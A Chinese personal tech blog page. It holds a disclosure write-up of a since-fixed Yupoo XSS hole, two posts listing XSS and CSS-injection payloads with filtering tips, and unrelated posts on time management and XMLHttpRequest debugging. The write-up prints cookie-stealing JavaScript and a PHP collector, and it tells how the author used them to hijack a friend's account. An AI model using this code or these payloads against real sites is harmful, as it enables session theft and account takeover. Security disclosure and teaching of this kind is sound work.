無標題文檔

Yupoo 的 XSS 漏洞攻击实录

声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。

偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞 ,它能执行任意的前端代码。

https://friable.rocks/_/2009_11_05/113846d10845.jpg

漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。

https://friable.rocks/_/2009_11_05/742516d10846.jpg

于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。

弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写

var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);

然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据

<?php
if (isset($_GET['var'])) {
    file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}

接下来就属于社会学的范畴, 我在 Twitter 上 发了信息并「引诱」朋友们去点击伪造后的连接(我承认很猥琐)。

https://friable.rocks/_/2009_11_05/574966d10846.jpg

不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。

https://friable.rocks/_/2009_11_05/427946d10847.jpg

再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。

https://friable.rocks/_/2009_11_05/881866d10848.jpg

https://friable.rocks/_/2009_11_05/826286d10848.jpg

最后,使用此帐户发张本人的艳·照,纪念下…

-- Update --

截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!

-- Split --

总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。

Web2.0 大潮已降, 前端正在改变这这个世界 。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。

常见的 XSS 注入攻击方式 Part.2

接上一期 ,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。

考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码

<xss style="behavior: url(xss.htc);">

上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。

<div style="background-image: xss.jpg">

谁会知道 xss.jpg 是什么内容呢?不过很多站点统计代码也是使用了这一原理。

<div style="width: expression(alert('xss'));">

<img style="xss:expr/*xss*/ession(alert('xss'))">

exp/*<A style='noxss:noxss("*//*");xss:ex/*xss*//*/*/pression(alert("xss"))'>

针对 Exploer 的 Expression 要保持「淡定」,最好的做法就是过滤 style 属性。

如果没有将注释完全过滤充分,则又会在 Exploer 出现典型的注入漏洞

<!--[if gte IE 4]>
    <script>alert('xss');</script>
<![endif]-->

安全性问题,这个时候我反而感谢 Exploer 提供那么多的「机会」。

-- Split --

那么如何预防 XSS 注入?主要还是需要在用户数据过滤方面得考虑周全,在这里不完全总结下几个 Tips

  1. 假定所有的用户输入数据都是「邪恶」的
  2. 弱类型的脚本语言必须保证类型和期望的一致
  3. 考虑周全的正则表达式
  4. strip_tags、htmlspecialchars 这类函数很好用
  5. 外部的 Javascript 不一定就是可靠的
  6. 引号过滤必须要重点注意
  7. 除去不必要的 HTML 注释
  8. Exploer 求你放过我吧……

常见的 XSS 注入攻击方式 Part.1

前端开发常见的安全问题就是会遭受 XSS 注入攻击 ,这里列举常见的代码注入方式。

Javascript 代码注入

Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据( 包括 JSONP )等。

很多时候会写这样的代码

document.write('u name is' + name);

这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时

';alert('xss');//

";alert('xss');//

'';!--"<xss>=&{()}

就会破坏原有代码结构,插入不期望的代码。

HTML 标签注入

HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码

逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。

<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>

<script/SRC="xss.js"></script>

<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>

从图片标签中注入,在些论坛上比较常见

<img src="javascript:alert('xss');">

<img """><script>alert("xss")</script>">

<img src="xss.php?param">

从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)

<script a=">" SRC="xss.js"></script>

<script =">" SRC="xss.js"></script>

<script a=">" '' SRC="xss.js"></script>

其他容易注入的地方

<body onload=alert('xss')>

<iframe src="javascript:alert('xss');"></iframe>

<embed src="xss.swf" AllowScriptAccess="always"></embed>

<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">

先摘记举例那么多,下期的内容包括「CSS 注入」、「其他注入方法」以及一般性解决方案,欢迎探讨和纠正。

时间管理小贴士 Part.1

最近变得很忙,所以不得不注重下时间管理方面的技巧。为了不成为开发组拖后腿的,在这里逐步总结本人的时间管理技巧(不过有些可能是工作技巧)。

  1. 睡觉前花十分钟在 Google 日历 前发呆,记录明天要做的事情。
  2. 花半小时把 Google Reader 的内容全部看完,记录下对自己有用的信息,之后就不再打开它。
  3. 边看 Google Reader 的时候可以给自己泡杯咖啡,算是给自己接下来的活打气。
  4. 类似 Google Reader ,统一时间处理邮件,给邮件分类。
  5. 不要用 Outlook,Gmail 是很正确的选择。
  6. 相对容易的、或者紧急的活先做,先给点自己成就感。
  7. 使用 Twitter ,记录自己的状态。
  8. 在键盘上贴便签 ,记录今天下班必须完成的任务。
  9. 不同的需求用不同的技术实现,过于完美往往意味着要花额外的时间。
  10. 干活时不要轻易被打断,给自己「缓冲」的时间(当然也不能让人家等着)。
  11. IM 里面尽量少发「Hi」、「你好」此类,直接说明情况(虚伪的礼貌还是不要了)。
  12. 午饭后几乎不能干任何事情,和同事聊天是个不错的主意。
  13. 新座位没电话线,这是个好事情。

-- EOF --

如何调试 XMLHttpRequest

在编写 XMLHttpRequest 请求时,需要掌握服务器端返回的内容。

针对 Firefox 浏览器,我们常用的 Firebug 就能非常好的完成这一任务。打开 Firebug 针对目标站点的网络监视选项,则在每次使用 XMLHttpRequest 时,控制台会增加条相应的信息(同时会标明是 GET 方法还是 POST 方法)。

https://friable.rocks/_/2008_08_11/1218449715.gif

点击该信息条目后,就会出现 Params、Headers 以及 Response 三个标签,分别对应的是 HTTP 参数、HTTP 头、以及 回应信息。其中,Response 信息就是服务器返回的信息(图示中为服务器返回的 JSON 格式的数据)。

https://friable.rocks/_/2008_08_13/1218628504.png

另外,Headers 标签中显示的是 HTTP 头信息(分别为请求头以及回应头),在这里可以找到额外有用的信息,比如服务器信息、缓存信息、浏览器发送的 Cookie 头,以及 Content-type 属性(内容属性,可能会包含 charset 参数,指明字符编码)。

https://friable.rocks/_/2008_08_13/1218624529.png

同时,在控制台信息比较多时,会显得比较杂乱。Firebug 还专门提供的网络监控面板,根据上图所示有个 XHR 标签,它主要的功能就是提供异步调用监测。

针对 Explorer 等浏览器,监视 XMLHttpRequest 需要第三方工具的支持。在这里推荐的是 Fiddler ,这一强大的网络监视工具。

在安装好 Fidder 以后,先打开 Exploer 浏览器,到需要监视 Exploer 浏览器的网络使用况时,打开 Fidder(通常在 Exploer 工具栏上有相应的启动按钮),就可以看到如下的界面

https://friable.rocks/_/2008_08_13/1218628924.png

选择某个具体的项目,查看其相应的内容。比如选取 Raw 按钮,则可以看到原始的 HTTP 相应记录

https://friable.rocks/_/2008_08_13/1218628608.png

这样,使用 Fidder 就可以获取某个针对特定程序的 HTTP 记录。

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 要知道作为码农取名是件很难的事情,所以不想在取名这事情上太费心思。

作为八零后,自认为还仅存点点可能不怎么被理解的幽默感,以及对平淡生活的追求和向往。 为了避免不必要的麻烦,声明本站所输出的内容以及观点仅代表个人,不代表自己所服务公司或组织的任何立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d`

分类

搜索

文章